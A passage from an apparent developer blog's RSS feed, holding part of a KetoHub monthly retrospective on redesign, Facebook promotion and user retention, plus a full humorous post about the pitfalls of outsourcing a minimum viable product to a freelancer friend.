&lt;p>Oh well! Now I have a logo, and I like it. I probably would have preferred having an extra $325, but let&amp;rsquo;s consider it a $325 lesson in website building.&lt;/p>
&lt;h3 id="site-redesign">Site redesign&lt;/h3>
&lt;p>I&amp;rsquo;m not a web developer, and I don&amp;rsquo;t have a good eye for design. When I built the first version of KetoHub, the design was utilitarian with little attention to aesthetics.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://smile.amazon.com/Hello-Web-Design-Tracy-Osborn/dp/0986365947/">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/hwd-books_hu_810703acb028c014.jpg 300w, https://mtlynch.io/ketohub-month-3/hwd-books_hu_4e3ea4db6189c4f0.jpg 600w, https://mtlynch.io/ketohub-month-3/hwd-books_hu_32166734c67c39f6.jpg 800w, https://mtlynch.io/ketohub-month-3/hwd-books.jpg 1000w'
 src="https://mtlynch.io/ketohub-month-3/hwd-books.jpg" alt="Stack of Hello Web Design books" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>In December, I read the book &lt;a href="https://smile.amazon.com/Hello-Web-Design-Tracy-Osborn/dp/0986365947/">&lt;em>Hello Web Design&lt;/em>&lt;/a> by Tracy Osborn. It&amp;rsquo;s a quick read, written for people in exactly my situation. It doesn&amp;rsquo;t get bogged down in design theory but instead provides simple, practical tips for achieving a successful web design.&lt;/p>
&lt;p>The book gave me good ideas for improving KetoHub&amp;rsquo;s look. Here&amp;rsquo;s the before and after on desktop:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1407px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-before.png">
 &lt;img
 
 sizes="(min-width: 768px) 1407px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-screenshot-before_hu_a1beac27878860af.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-before_hu_44b60c07d3e8dd2e.png 600w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-before_hu_f23e55fbfa4b683.png 800w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-before_hu_f8a584320dd092b0.png 1200w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-before.png 1407w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-before.png" alt="KetoHub before redesign (desktop)" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1407px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-after.png">
 &lt;img
 
 sizes="(min-width: 768px) 1407px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-screenshot-after_hu_e12a6b5b5e967b00.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-after_hu_92eb182f8f5a77bd.png 600w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-after_hu_ff300dcac83b6f2.png 800w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-after_hu_e678ce1988665bd5.png 1200w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-after.png 1407w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-after.png" alt="KetoHub after redesign (desktop)" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>KetoHub redesign on desktop: before (left) and after (right)&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>And here&amp;rsquo;s comparison on mobile:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 







&lt;div class="img" style="max-width: 344px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-before.png">
 &lt;img
 
 sizes="(min-width: 768px) 344px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-before_hu_b3bc2dfd15ae2995.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-before.png 344w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-before.png" alt="KetoHub before redesign (mobile)" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 







&lt;div class="img" style="max-width: 352px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-after.png">
 &lt;img
 
 sizes="(min-width: 768px) 352px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-after_hu_435e01963ec9cd84.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-after.png 352w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-screenshot-mobile-after.png" alt="KetoHub after redesign (mobile)" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>KetoHub redesign on mobile: before (left) and after (right)&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Actually, as I write this and look at the mobile screenshot, the &amp;ldquo;after&amp;rdquo; shot looks worse. The logo and category buttons take up more than half of the screen&amp;rsquo;s vertical space to the point where you can&amp;rsquo;t even see even one recipe card.&lt;/p>
&lt;p>Looks like I&amp;rsquo;ve got a bit more work to do&amp;hellip;&lt;/p>
&lt;h3 id="50-increase-in-recipes">50% increase in recipes&lt;/h3>
&lt;p>I added the popular recipe site &lt;a href="https://lowcarbyum.com/">Low Carb Yum&lt;/a> to KetoHub&amp;rsquo;s recipe index. This added over 500 new recipes to the site, bringing the total to 1,500. This was the largest increase in KetoHub recipes from any single keto site.&lt;/p>
&lt;h2 id="visitor-growth">Visitor growth&lt;/h2>
&lt;p>KetoHub&amp;rsquo;s visit stats are still small, but it saw exciting growth in December.&lt;/p>
&lt;p>Compared to November, it received almost 8x as many unique users and 4.5x as many pageviews:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-ga-dec.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-ga-dec_hu_1371770cb39a9275.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-ga-dec_hu_f3592ff188f51569.png 600w, https://mtlynch.io/ketohub-month-3/ketohub-ga-dec_hu_509ede53196965cd.png 800w, https://mtlynch.io/ketohub-month-3/ketohub-ga-dec.png 1017w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-ga-dec.png" alt="Existing keto sites" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="finding-users-on-facebook">Finding users on Facebook&lt;/h3>
&lt;p>Facebook was, by far, the largest single source of new users. Of 1,372 visitors that discovered the site in December, 717 of them came from Facebook. I promoted the site on Facebook in two distinct ways.&lt;/p>
&lt;h4 id="sharing-in-medium-sized-groups">Sharing in medium-sized groups&lt;/h4>
&lt;p>Facebook has hundreds of different keto groups. Some have close to a million members; others have as few as 20-30.&lt;/p>
&lt;p>I saw the most efficient results in groups of between 200 and 1,000 members. I made posts like the following, being up front that it was my website and I&amp;rsquo;m looking for feedback:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 442px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-fb-response.png">
 &lt;img
 
 sizes="(min-width: 768px) 442px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-fb-response_hu_427b2a990b2f064f.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-fb-response.png 505w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-fb-response.png" alt="Existing keto sites" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The post above brought over 100 new users to KetoHub the day it was posted and continued to receive positive responses for days after.&lt;/p>
&lt;p>Unfortunately, this doesn&amp;rsquo;t seem to work in bigger groups. The larger the community, the more sensitive their administrators are to self-promotion. I tried making similar posts to groups with 100k+ members and found myself booted within minutes.&lt;/p>
&lt;h4 id="ketohub-as-the-answer-to-your-question">KetoHub as the answer to your question&lt;/h4>
&lt;p>I also found success in using KetoHub as the answer to people&amp;rsquo;s questions.&lt;/p>
&lt;p>People frequently posted in these groups searching for recipes that met particular criteria. For example, when someone asked for keto breakfasts that exclude egg, I shared a link to &lt;a href="https://recipe-search.isitketo.org/?category=breakfast&amp;amp;q=-egg">a KetoHub search&lt;/a> for all breakfasts that don&amp;rsquo;t include egg as an ingredient:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 415px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-fb-response2.png">
 &lt;img
 
 sizes="(min-width: 768px) 415px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-fb-response2_hu_be4ad27e9cc4750f.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-fb-response2.png 495w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-fb-response2.png" alt="Existing keto sites" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For each post I responded to like this, only 10-20 people clicked the link. However, it&amp;rsquo;s easier to find these types of posts than to constantly find new medium-sized keto groups to join. When I spent an hour scrolling through posts from different keto groups, I usually found between two and six opportunities to answer someone&amp;rsquo;s question by linking to KetoHub. This translated to a total of 60-100 new clicks.&lt;/p>
&lt;h2 id="biggest-challenge-retention">Biggest challenge: Retention&lt;/h2>
&lt;p>If the cost of 100 new users is an hour of &lt;del>shilling&lt;/del> promoting on Facebook, that&amp;rsquo;s a great deal. Well, at least to someone like me who has yet to break 200 daily visitors. I&amp;rsquo;d gladly do that every day except for one problem: I&amp;rsquo;m losing users as quickly as I gain them.&lt;/p>
&lt;p>The chart below is a cohort analysis from Google Analytics. Each row is a group of users that first visited the site in a particular week. Each column shows the percentage that returned to KetoHub in the subsequent week.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/cohort-analysis-dec.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/cohort-analysis-dec_hu_86ed9de295505e6.png 300w, https://mtlynch.io/ketohub-month-3/cohort-analysis-dec_hu_d7942849b20e31d9.png 600w, https://mtlynch.io/ketohub-month-3/cohort-analysis-dec.png 729w'
 src="https://mtlynch.io/ketohub-month-3/cohort-analysis-dec.png" alt="KetoHub cohort analysis" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The numbers are abysmal.&lt;/p>
&lt;p>A small percentage of users will stick around the week after they discover the site, but the percentage decreases each week. After four weeks, the percentage shrinks to zero.&lt;/p>
&lt;p>From what I&amp;rsquo;ve heard, a good website will bring back at least 10% of its users the week after they discover it. I&amp;rsquo;m far below 10%, so my focus in January will be increasing retention.&lt;/p>
&lt;h2 id="next-steps">Next steps&lt;/h2>
&lt;ul>
&lt;li>Conduct more user interviews
&lt;ul>
&lt;li>When I initially launched, I had keto-dieting friends speak to me on the phone as they tried the site for the first time. I used their feedback to improve the site, but now I want to focus less on first impressions and more on sustained usage.&lt;/li>
&lt;li>I&amp;rsquo;ll be conducting interviews with strangers who follow keto, then doing a follow-up interview a week later to find out why they did or did not continue using KetoHub after the first day.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Read &lt;a href="https://smile.amazon.com/gp/product/1591847788/">&lt;em>Hooked: How to Build Habit-Forming Products&lt;/em>&lt;/a> by Nir Eyal
&lt;ul>
&lt;li>I listened to &lt;a href="https://www.indiehackers.com/podcast/023-nir-eyal-of-hooked">his interview&lt;/a> on the Indie Hackers podcast last year and found him insightful. I&amp;rsquo;m hoping the book will give me ideas for incentivizing my users to return to KetoHub regularly.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Set up better event tracking analytics
&lt;ul>
&lt;li>I&amp;rsquo;d like to build a better understanding of how visitors use KetoHub. I&amp;rsquo;m currently using Google Analytics, which is nice, but not very powerful. I&amp;rsquo;d like to ask questions such as, &amp;ldquo;Of users who return every week, how often do they filter by category? How often do they search?&amp;rdquo;&lt;/li>
&lt;li>I&amp;rsquo;ve heard good things about &lt;a href="https://amplitude.com/">Amplitude&lt;/a>, and I fit in their free tier, so I&amp;rsquo;ll check them out.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>If you&amp;rsquo;re a keto dieter interested in finding new recipes, check out &lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a>, the website I&amp;rsquo;ve been talking about this whole article.&lt;/em>&lt;/p></content:encoded></item><item><title>The Perils of Outsourcing Your MVP</title><link>https://mtlynch.io/outsourcing-mvp/</link><pubDate>Wed, 06 Dec 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/outsourcing-mvp/</guid><description>&lt;p>A few months ago, I had a brilliant idea for a website. Then, I had an even &lt;em>brillianter&lt;/em> idea: build the website, but outsource all the work.&lt;/p>
&lt;p>Every great website starts with an MVP: the minimum viable product. It demonstrates the idea in its simplest form to test whether anyone is interested. When Twitter launched their MVP, you could only tweet pictures of Russet potatoes. Slack famously launched with language support limited to pig latin. Netflix is now so synonymous with instant streaming that you may have forgotten its first version, which required you to select a movie, then wait several days until Reed Hastings arrived at your house to act out the plot himself.&lt;/p></description><content:encoded>&lt;p>A few months ago, I had a brilliant idea for a website. Then, I had an even &lt;em>brillianter&lt;/em> idea: build the website, but outsource all the work.&lt;/p>
&lt;p>Every great website starts with an MVP: the minimum viable product. It demonstrates the idea in its simplest form to test whether anyone is interested. When Twitter launched their MVP, you could only tweet pictures of Russet potatoes. Slack famously launched with language support limited to pig latin. Netflix is now so synonymous with instant streaming that you may have forgotten its first version, which required you to select a movie, then wait several days until Reed Hastings arrived at your house to act out the plot himself.&lt;/p>
&lt;p>I had a simple plan to build my MVP:&lt;/p>
&lt;ol>
&lt;li>Write a quick design specification.&lt;/li>
&lt;li>Find a rock star freelance developer with 10 years of experience in whichever web framework is the trendiest and most bleeding-edge.&lt;/li>
&lt;li>Offer said freelancer $4/hr so that I can maximize site profits.&lt;/li>
&lt;li>Watch the MVP blossom into a thriving web property frequented by millions of passionate users demanding that I take their money.&lt;/li>
&lt;/ol>
&lt;p>You may be surprised to learn that this plan did &lt;em>not&lt;/em> work. I&amp;rsquo;m not writing this from my luxurious $200 million Silicon Valley two-bedroom apartment. I didn&amp;rsquo;t grab headlines with an outrageous buyout from Facebook. Instead, I&amp;rsquo;m writing this from my regular one-bedroom apartment after receiving a half-finished product and somehow becoming my freelancer&amp;rsquo;s freelancer.&lt;/p>
&lt;h2 id="the-idea">The idea&lt;/h2>
&lt;p>I follow the &lt;a href="https://www.dietdoctor.com/low-carb/keto">keto diet&lt;/a> and like trying new recipes. There are plenty of good ones online, but they&amp;rsquo;re spread across dozens of blogs, each with a different structure. These blogs tend to be slow and hard to navigate because keto bloggers rarely have experience with web development.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/outsourcing-mvp/keto-sites.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/outsourcing-mvp/keto-sites_hu_94c17af9af915740.png 300w, https://mtlynch.io/outsourcing-mvp/keto-sites_hu_a1ca3b16419c4758.png 600w, https://mtlynch.io/outsourcing-mvp/keto-sites_hu_26a473ec8a8cfc7d.png 800w, https://mtlynch.io/outsourcing-mvp/keto-sites_hu_9ad138a798be6f1e.png 1200w, https://mtlynch.io/outsourcing-mvp/keto-sites.png 1379w'
 src="https://mtlynch.io/outsourcing-mvp/keto-sites.png" alt="Existing keto sites" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My idea was KetoHub, a keto recipe directory. It would aggregate recipes from across the web into one easy-to-use website.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/outsourcing-mvp/wireframe-v1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/outsourcing-mvp/wireframe-v1_hu_69800e341d4c3000.jpg 300w, https://mtlynch.io/outsourcing-mvp/wireframe-v1_hu_6df4e5886047eda0.jpg 600w, https://mtlynch.io/outsourcing-mvp/wireframe-v1_hu_c23a3f7802c5e98f.jpg 800w, https://mtlynch.io/outsourcing-mvp/wireframe-v1_hu_6e852bc37157569c.jpg 1200w, https://mtlynch.io/outsourcing-mvp/wireframe-v1.jpg 1600w'
 src="https://mtlynch.io/outsourcing-mvp/wireframe-v1.jpg" alt="Mockup of KetoHub v1" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Initial sketch of KetoHub&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="finding-a-freelancer">Finding a freelancer&lt;/h2>
&lt;p>Most of KetoHub&amp;rsquo;s heavy lifting was web scraping &amp;ndash; crawling recipe blogs and pulling out the relevant data. This is a common job on freelance developer sites like Upwork or Fiverr. I could probably find someone for a low price, but I might end up with code that crumbles to pieces if I try to iterate beyond the MVP.&lt;/p>
&lt;p>Oh, wait! This would be a perfect job for my friend Ferngully (who agreed to let me write about her under the condition that I assign her a silly pseudonym). She recently quit her job to travel but was due back in a few days to look for full-time work. She would probably have time to freelance in the meantime. We had worked together in the past, so I knew she was a solid developer and that we work well together.&lt;/p>
&lt;p>I reached out to her, and she was immediately on board. She knew from our past work that my code reviews are &lt;del>pedantic and whiny&lt;/del> rigorous. She told me she was excited about the challenge of meeting my tough standards.&lt;/p>
&lt;p>I wrote a &lt;a href="ketohub-v1-design-doc.pdf">design document&lt;/a> that laid out the components of the website at a high level. Ferngully would handle the backend scraping tasks, while I would build a simple web frontend to display the recipes.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/outsourcing-mvp/ketohub-architecture.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/outsourcing-mvp/ketohub-architecture_hu_2128c83184242a09.png 300w, https://mtlynch.io/outsourcing-mvp/ketohub-architecture_hu_f995b4f94f32f063.png 600w, https://mtlynch.io/outsourcing-mvp/ketohub-architecture_hu_310b2154840617c4.png 800w, https://mtlynch.io/outsourcing-mvp/ketohub-architecture.png 951w'
 src="https://mtlynch.io/outsourcing-mvp/ketohub-architecture.png" alt="KetoHub architecture diagram" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>KetoHub architecture diagram&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="why-arent-we-live">Why aren&amp;rsquo;t we live?&lt;/h2>
&lt;p>When I was initially discussing the project with Ferngully, she asked if I had any deadlines. &amp;ldquo;No deadlines. Just focus on writing good code.&amp;rdquo;&lt;/p>
&lt;p>It&amp;rsquo;s the same thing I tell any developer working on a side project with me. I&amp;rsquo;d rather receive high-quality code on Thursday than hastily slapped-together code on Monday. I estimated that Ferngully&amp;rsquo;s portion would take 30-50 hours to implement. We&amp;rsquo;d be done in about a week. Maybe two or three if my estimates were off or if she worked fewer than 40 hours per week.&lt;/p>
&lt;p>At the time, I was in a busy period with my day job. It could be months before I&amp;rsquo;d have time to build the frontend. Certainly, I&amp;rsquo;d be the bottleneck.&lt;/p>
&lt;p>After I finished the design document, I thought about how anticlimactic it would be if Ferngully delivered the scraping code only to have it sit in a drawer for months. I spent a few evenings putting together a basic frontend. It displayed some sample recipes I scraped by hand. We&amp;rsquo;d be ready to add in the full recipe data and launch as soon as Ferngully completed her work.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/outsourcing-mvp/ketohub-mvp.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/outsourcing-mvp/ketohub-mvp_hu_a13e5d7ad3051f23.png 300w, https://mtlynch.io/outsourcing-mvp/ketohub-mvp_hu_1ac446cb66b3ae7e.png 600w, https://mtlynch.io/outsourcing-mvp/ketohub-mvp_hu_605ef598db432a17.png 800w, https://mtlynch.io/outsourcing-mvp/ketohub-mvp.png 996w'
 src="https://mtlynch.io/outsourcing-mvp/ketohub-mvp.png" alt="Basic KetoHub site with dummy data" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Screenshot of KetoHub’s MVP, populated with data scraped by hand&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That&amp;rsquo;s when I started getting anxious.&lt;/p>
&lt;p>It took me a week to complete the web portion, but I still hadn&amp;rsquo;t seen any code from Ferngully. What was she doing?&lt;/p>
&lt;p>Before I built the frontend, the project was stress-free. Now that we had a site ready with dummy data, it felt like we had a living thing that we were keeping caged. With each passing day, my code was withering into obsolescence. I just wanted to show KetoHub to the world so that I could get to the part of this process where Mark Zuckerberg invites me for champagne on his personal-information-collecting superyacht.&lt;/p>
&lt;h2 id="working-under-low-bandwidth">Working under low bandwidth&lt;/h2>
&lt;p>Ferngully sent me her first code review at the end of the second week. It was a partial implementation of the first backend component. She had averaged 15 hours per week, but she was starting her full-time job the following Monday. Her hours were sure to go down after that.&lt;/p>
&lt;p>I revisited the design document to see if I could trim anything out. It called for the backend to programmatically upload recipe data to the website&amp;rsquo;s data store. I could reduce Ferngully&amp;rsquo;s work if she just wrote data to a local filesystem instead. Then, I&amp;rsquo;d use existing command-line tools to upload that data to the website.&lt;/p>
&lt;p>Okay, maybe the limited time was a good thing. If I could trim elements out of the MVP and still achieve the same thing, it wasn&amp;rsquo;t really in its most minimal form.&lt;/p>
&lt;p>I was optimistic that we could wrap this up in a few more weeks.&lt;/p>
&lt;h2 id="becoming-my-freelancers-freelancer">Becoming my freelancer&amp;rsquo;s freelancer&lt;/h2>
&lt;p>Unfortunately, Ferngully&amp;rsquo;s job reduced her availability even more than I had anticipated. Over the next month, she averaged less than five hours per week on KetoHub. At this rate, it would take us months to finish.&lt;/p>
&lt;p>If this was another freelancer, I would have just thanked them for their work and found a new developer. But Ferngully was not only my friend but a friend going through the stress of a new job. I didn&amp;rsquo;t want to add to her plate by pushing for more hours or overhauling the project plan. Nevertheless, I was kicking myself for how lax I had been earlier when she asked about deadlines.&lt;/p>
&lt;p>Maybe I could reassign some of her work to me. No, I&amp;rsquo;d be annoyed if someone hired me for a job, then did it themselves. I revisited the design document to see if we could simplify it further, but I couldn&amp;rsquo;t find anything to cut out. Then, I began thinking about whether I could adjust our development process to shift some time expenses from her to me.&lt;/p>
&lt;p>Wait a second. What was going on? I outsourced KetoHub to save myself time, but now I was restructuring the project to optimize for Ferngully&amp;rsquo;s time in place of my own. How did I become my freelancer&amp;rsquo;s freelancer?&lt;/p>
&lt;h2 id="simplifying-code-reviews">Simplifying code reviews&lt;/h2>
&lt;p>Regardless of who was freelancing for whom, I wanted us to complete the project, and quickly. The biggest time expense I could cut was my famously picky code reviews.&lt;/p>
&lt;p>The reviews were expensive for both of us. I put &lt;a href="https://mtlynch.io/human-code-reviews-1/">a lot of thought into my code reviews&lt;/a>, and it took time for Ferngully to implement my suggestions. With days or weeks of latency between review rounds, we were also burning cycles just remembering context for where we were in the review.&lt;/p>
&lt;p>To save time, I decided to stop giving Ferngully notes. When she sent me her next changelist for review, I merged it in, tweaked it a bit to match my standards, and boom &amp;ndash; we had our first complete backend component. Only two left!&lt;/p>
&lt;h2 id="this-doesnt-make-sense">This doesn&amp;rsquo;t make sense&lt;/h2>
&lt;p>Ferngully was less enthused about my clever new time-saving technique. The tough reviews gave her technical growth. Without those, KetoHub was just work, and she had enough of that at work.&lt;/p>
&lt;p>I debated whether I could keep doing notes. Even when I was skipping them, I wasn&amp;rsquo;t sure I was actually saving time overall with a freelancer. If I started writing them again, I&amp;rsquo;d definitely be in the negative timewise. I&amp;rsquo;d be paying a freelancer a nontrivial hourly rate, and it would cost me more in time than writing the code myself.&lt;/p>
&lt;p>We talked it over and decided it no longer made sense for Ferngully to work on KetoHub. With the first component completed, it was a convenient time for her to transition off the project.&lt;/p>
&lt;h2 id="implementing-it-myself">Implementing it myself&lt;/h2>
&lt;p>The Saturday night after I wrapped up with Ferngully, I continued where she left off and resolved to keep going until the MVP was live. By 2 AM, the first version was complete. I was embarrassed by how plain it looked, but it was done.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/outsourcing-mvp/ketohub-v1-done.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/outsourcing-mvp/ketohub-v1-done_hu_2207271ef4eeec40.png 300w, https://mtlynch.io/outsourcing-mvp/ketohub-v1-done_hu_3faa6646cbeedde7.png 600w, https://mtlynch.io/outsourcing-mvp/ketohub-v1-done_hu_568213b93e120f3f.png 800w, https://mtlynch.io/outsourcing-mvp/ketohub-v1-done_hu_a3db4034ee13e2f0.png 1200w, https://mtlynch.io/outsourcing-mvp/ketohub-v1-done.png 1250w'
 src="https://mtlynch.io/outsourcing-mvp/ketohub-v1-done.png" alt="Completed first version of KetoHub" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>KetoHub, when the MVP was finally complete&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I quickly realized that I should have done the project solo from the start.&lt;/p>
&lt;p>A prototype requires so many small decisions about tradeoffs. Do I spend an extra hour to fix a bug that only affects 10% of recipes? Which modules should have automated tests? It would be impossible to specify these answers ahead of time to a freelancer. Working solo, I can just follow my intuition.&lt;/p>
&lt;p>Building it myself also made it so much easier to fix weaknesses in the design. Even on a team of two, design flaws incur high frictional costs. When Ferngully spotted an issue, she had to confirm it with me, I&amp;rsquo;d update the design document, she&amp;rsquo;d read it, throw away some work, then finally reimplement it according to the new design. When I work solo, that whole process is almost instant.&lt;/p>
&lt;p>Finally, by outsourcing the backend, I was obscuring a core part of the business from myself. When I got my hands dirty with web scraping, it sparked ideas for recipe data I could use in future iterations of KetoHub and gave me better insight into the site&amp;rsquo;s design constraints.&lt;/p>
&lt;h2 id="takeaways">Takeaways&lt;/h2>
&lt;p>Despite the issues, this process taught me important lessons about creating new websites and working with freelancers. The biggest lesson was: if you&amp;rsquo;re a developer, &lt;strong>build your own MVP&lt;/strong>.&lt;/p>
&lt;p>If you choose to work with a freelancer:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Discuss target completion dates&lt;/strong>.
&lt;ul>
&lt;li>You don&amp;rsquo;t have to set rigid deadlines, but figure out up front if you&amp;rsquo;re in the same ballpark.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Agree on weekly bandwidth&lt;/strong>.
&lt;ul>
&lt;li>Your freelancer may have other clients or priorities. Find out how much time they&amp;rsquo;ll be able to dedicate to your project.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>This article was edited by &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>.&lt;/em>&lt;/p>
&lt;p>&lt;em>If you&amp;rsquo;re a keto dieter interested in finding new recipes, check out &lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a>, the website I&amp;rsquo;ve been talking about this whole article.&lt;/em>&lt;/p></content:encoded></item><item><title>KetoHub: Month 2</title><link>https://mtlynch.io/retrospectives/2017/12/</link><pubDate>Sun, 03 Dec 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2017/12/</guid><description>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/ketohub-month-2-report-1229ddb803">KetoHub Month 2&lt;/a>&lt;/li>
&lt;/ul></description><content:encoded>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/ketohub-month-2-report-1229ddb803">KetoHub Month 2&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Sia-Minio Integration Postmortem</title><link>https://mtlynch.io/sia-minio-postmortem/</link><pubDate>Fri, 01 Dec 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/sia-minio-postmortem/</guid><description>&lt;p>One of the best things I learned from working at Google is the practice of &lt;a href="https://landing.google.com/sre/book/chapters/postmortem-culture.html">blame-free postmortems&lt;/a>. When something goes wrong, you wait until the dust settles, then write a report analyzing what happened. The report explains how the problem occurred and defines concrete steps the team can take to mitigate the problem in the future.&lt;/p>
&lt;p>I saw a good opportunity for a postmortem last week. Work officially completed on a &lt;a href="https://github.com/NebulousLabs/Sia/issues/2155">bounty-funded project&lt;/a> to integrate Sia support into Minio, but it took several months longer than expected and went through multiple large-scale rewrites.&lt;/p></description><content:encoded>&lt;p>One of the best things I learned from working at Google is the practice of &lt;a href="https://landing.google.com/sre/book/chapters/postmortem-culture.html">blame-free postmortems&lt;/a>. When something goes wrong, you wait until the dust settles, then write a report analyzing what happened. The report explains how the problem occurred and defines concrete steps the team can take to mitigate the problem in the future.&lt;/p>
&lt;p>I saw a good opportunity for a postmortem last week. Work officially completed on a &lt;a href="https://github.com/NebulousLabs/Sia/issues/2155">bounty-funded project&lt;/a> to integrate Sia support into Minio, but it took several months longer than expected and went through multiple large-scale rewrites.&lt;/p>
